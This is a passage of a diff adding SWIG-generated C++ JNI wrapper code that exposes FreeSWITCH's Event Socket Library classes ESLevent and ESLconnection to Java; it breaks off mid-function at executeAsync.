+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+
+/* Fix for jlong on some versions of gcc on Windows */
+#if defined(__GNUC__) && !defined(__INTELC__)
+  typedef long long __int64;
+#endif
+
+/* Fix for jlong on 64-bit x86 Solaris */
+#if defined(__x86_64)
+# ifdef _LP64
+#   undef _LP64
+# endif
+#endif
+
+#include <jni.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+/* Support for throwing Java exceptions */
+typedef enum {
+  SWIG_JavaOutOfMemoryError = 1, 
+  SWIG_JavaIOException, 
+  SWIG_JavaRuntimeException, 
+  SWIG_JavaIndexOutOfBoundsException,
+  SWIG_JavaArithmeticException,
+  SWIG_JavaIllegalArgumentException,
+  SWIG_JavaNullPointerException,
+  SWIG_JavaDirectorPureVirtual,
+  SWIG_JavaUnknownError
+} SWIG_JavaExceptionCodes;
+
+typedef struct {
+  SWIG_JavaExceptionCodes code;
+  const char *java_exception;
+} SWIG_JavaExceptions_t;
+
+
+static void SWIGUNUSED SWIG_JavaThrowException(JNIEnv *jenv, SWIG_JavaExceptionCodes code, const char *msg) {
+  jclass excep;
+  static const SWIG_JavaExceptions_t java_exceptions[] = {
+    { SWIG_JavaOutOfMemoryError, "java/lang/OutOfMemoryError" },
+    { SWIG_JavaIOException, "java/io/IOException" },
+    { SWIG_JavaRuntimeException, "java/lang/RuntimeException" },
+    { SWIG_JavaIndexOutOfBoundsException, "java/lang/IndexOutOfBoundsException" },
+    { SWIG_JavaArithmeticException, "java/lang/ArithmeticException" },
+    { SWIG_JavaIllegalArgumentException, "java/lang/IllegalArgumentException" },
+    { SWIG_JavaNullPointerException, "java/lang/NullPointerException" },
+    { SWIG_JavaDirectorPureVirtual, "java/lang/RuntimeException" },
+    { SWIG_JavaUnknownError,  "java/lang/UnknownError" },
+    { (SWIG_JavaExceptionCodes)0,  "java/lang/UnknownError" } };
+  const SWIG_JavaExceptions_t *except_ptr = java_exceptions;
+
+  while (except_ptr->code != code && except_ptr->code)
+    except_ptr++;
+
+  jenv->ExceptionClear();
+  excep = jenv->FindClass(except_ptr->java_exception);
+  if (excep)
+    jenv->ThrowNew(excep, msg);
+}
+
+
+/* Contract support */
+
+#define SWIG_contract_assert(nullreturn, expr, msg) if (!(expr)) {SWIG_JavaThrowException(jenv, SWIG_JavaIllegalArgumentException, msg); return nullreturn; } else
+
+
+#include "esl.h"
+#include "esl_oop.h"
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+SWIGEXPORT void JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1event_1set(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jlong jarg2) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *arg2 = (esl_event_t *) 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = *(esl_event_t **)&jarg2; 
+  if (arg1) (arg1)->event = arg2;
+  
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1event_1get(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jlong jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (esl_event_t *) ((arg1)->event);
+  *(esl_event_t **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1serialized_1string_1set(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return ;
+  }
+  {
+    if (arg1->serialized_string) delete [] arg1->serialized_string;
+    if (arg2) {
+      arg1->serialized_string = (char *) (new char[strlen((const char *)arg2)+1]);
+      strcpy((char *)arg1->serialized_string, (const char *)arg2);
+    } else {
+      arg1->serialized_string = 0;
+    }
+  }
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1serialized_1string_1get(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (char *) ((arg1)->serialized_string);
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  return jresult;
+}
+
+
+SWIGEXPORT void JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1mine_1set(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jint jarg2) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int arg2 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = (int)jarg2; 
+  if (arg1) (arg1)->mine = arg2;
+  
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1mine_1get(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jint jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (int) ((arg1)->mine);
+  jresult = (jint)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_new_1ESLevent_1_1SWIG_10(JNIEnv *jenv, jclass jcls, jstring jarg1, jstring jarg2) {
+  jlong jresult = 0 ;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = 0;
+  if (jarg1) {
+    arg1 = (char *)jenv->GetStringUTFChars(jarg1, 0);
+    if (!arg1) return 0;
+  }
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (ESLevent *)new ESLevent((char const *)arg1,(char const *)arg2);
+  *(ESLevent **)&jresult = result; 
+  if (arg1) jenv->ReleaseStringUTFChars(jarg1, (const char *)arg1);
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_new_1ESLevent_1_1SWIG_11(JNIEnv *jenv, jclass jcls, jlong jarg1, jint jarg2) {
+  jlong jresult = 0 ;
+  esl_event_t *arg1 = (esl_event_t *) 0 ;
+  int arg2 = (int) 0 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = *(esl_event_t **)&jarg1; 
+  arg2 = (int)jarg2; 
+  result = (ESLevent *)new ESLevent(arg1,arg2);
+  *(ESLevent **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_new_1ESLevent_1_1SWIG_12(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jlong jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (ESLevent *)new ESLevent(arg1);
+  *(ESLevent **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void JNICALL Java_org_freeswitch_esl_eslJNI_delete_1ESLevent(JNIEnv *jenv, jclass jcls, jlong jarg1) {
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = *(ESLevent **)&jarg1; 
+  delete arg1;
+  
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1serialize(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) NULL ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (char *)(arg1)->serialize((char const *)arg2);
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jboolean JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1setPriority(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jlong jarg2) {
+  jboolean jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_priority_t arg2 = (esl_priority_t) ESL_PRIORITY_NORMAL ;
+  bool result;
+  esl_priority_t *argp2 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  argp2 = *(esl_priority_t **)&jarg2; 
+  if (!argp2) {
+    SWIG_JavaThrowException(jenv, SWIG_JavaNullPointerException, "Attempt to dereference null esl_priority_t");
+    return 0;
+  }
+  arg2 = *argp2; 
+  result = (bool)(arg1)->setPriority(arg2);
+  jresult = (jboolean)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1getHeader(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (char *)(arg1)->getHeader((char const *)arg2);
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1getBody(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (char *)(arg1)->getBody();
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  return jresult;
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1getType(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (char *)(arg1)->getType();
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  return jresult;
+}
+
+
+SWIGEXPORT jboolean JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1addBody(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jboolean jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (bool)(arg1)->addBody((char const *)arg2);
+  jresult = (jboolean)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jboolean JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1addHeader(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3) {
+  jboolean jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  bool result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  result = (bool)(arg1)->addHeader((char const *)arg2,(char const *)arg3);
+  jresult = (jboolean)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  return jresult;
+}
+
+
+SWIGEXPORT jboolean JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1delHeader(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jboolean jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (bool)(arg1)->delHeader((char const *)arg2);
+  jresult = (jboolean)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1firstHeader(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (char *)(arg1)->firstHeader();
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  return jresult;
+}
+
+
+SWIGEXPORT jstring JNICALL Java_org_freeswitch_esl_eslJNI_ESLevent_1nextHeader(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jstring jresult = 0 ;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLevent **)&jarg1; 
+  result = (char *)(arg1)->nextHeader();
+  if(result) jresult = jenv->NewStringUTF((const char *)result);
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_new_1ESLconnection_1_1SWIG_10(JNIEnv *jenv, jclass jcls, jstring jarg1, jstring jarg2, jstring jarg3) {
+  jlong jresult = 0 ;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLconnection *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = 0;
+  if (jarg1) {
+    arg1 = (char *)jenv->GetStringUTFChars(jarg1, 0);
+    if (!arg1) return 0;
+  }
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  result = (ESLconnection *)new ESLconnection((char const *)arg1,(char const *)arg2,(char const *)arg3);
+  *(ESLconnection **)&jresult = result; 
+  if (arg1) jenv->ReleaseStringUTFChars(jarg1, (const char *)arg1);
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_new_1ESLconnection_1_1SWIG_11(JNIEnv *jenv, jclass jcls, jint jarg1) {
+  jlong jresult = 0 ;
+  int arg1 ;
+  ESLconnection *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = (int)jarg1; 
+  result = (ESLconnection *)new ESLconnection(arg1);
+  *(ESLconnection **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void JNICALL Java_org_freeswitch_esl_eslJNI_delete_1ESLconnection(JNIEnv *jenv, jclass jcls, jlong jarg1) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  arg1 = *(ESLconnection **)&jarg1; 
+  delete arg1;
+  
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1socketDescriptor(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  result = (int)(arg1)->socketDescriptor();
+  jresult = (jint)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1connected(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  result = (int)(arg1)->connected();
+  jresult = (jint)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1getInfo(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  result = (ESLevent *)(arg1)->getInfo();
+  *(ESLevent **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1send(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (int)(arg1)->send((char const *)arg2);
+  jresult = (jint)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1sendRecv(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  result = (ESLevent *)(arg1)->sendRecv((char const *)arg2);
+  *(ESLevent **)&jresult = result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1api(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  result = (ESLevent *)(arg1)->api((char const *)arg2,(char const *)arg3);
+  *(ESLevent **)&jresult = result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1bgapi(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  result = (ESLevent *)(arg1)->bgapi((char const *)arg2,(char const *)arg3);
+  *(ESLevent **)&jresult = result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1sendEvent(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jlong jarg2, jobject jarg2_) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *arg2 = (ESLevent *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  (void)jarg2_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = *(ESLevent **)&jarg2; 
+  result = (int)(arg1)->sendEvent(arg2);
+  jresult = (jint)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1recvEvent(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  result = (ESLevent *)(arg1)->recvEvent();
+  *(ESLevent **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1recvEventTimed(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jint jarg2) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int arg2 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = (int)jarg2; 
+  result = (ESLevent *)(arg1)->recvEventTimed(arg2);
+  *(ESLevent **)&jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT jlong JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1filter(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3) {
+  jlong jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  result = (ESLevent *)(arg1)->filter((char const *)arg2,(char const *)arg3);
+  *(ESLevent **)&jresult = result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1events(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  result = (int)(arg1)->events((char const *)arg2,(char const *)arg3);
+  jresult = (jint)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1execute(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3, jstring jarg4) {
+  jint jresult = 0 ;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  
+  (void)jenv;
+  (void)jcls;
+  (void)jarg1_;
+  arg1 = *(ESLconnection **)&jarg1; 
+  arg2 = 0;
+  if (jarg2) {
+    arg2 = (char *)jenv->GetStringUTFChars(jarg2, 0);
+    if (!arg2) return 0;
+  }
+  arg3 = 0;
+  if (jarg3) {
+    arg3 = (char *)jenv->GetStringUTFChars(jarg3, 0);
+    if (!arg3) return 0;
+  }
+  arg4 = 0;
+  if (jarg4) {
+    arg4 = (char *)jenv->GetStringUTFChars(jarg4, 0);
+    if (!arg4) return 0;
+  }
+  result = (int)(arg1)->execute((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  jresult = (jint)result; 
+  if (arg2) jenv->ReleaseStringUTFChars(jarg2, (const char *)arg2);
+  if (arg3) jenv->ReleaseStringUTFChars(jarg3, (const char *)arg3);
+  if (arg4) jenv->ReleaseStringUTFChars(jarg4, (const char *)arg4);
+  return jresult;
+}
+
+
+SWIGEXPORT jint JNICALL Java_org_freeswitch_esl_eslJNI_ESLconnection_1executeAsync(JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2, jstring jarg3, jstring jarg4) {
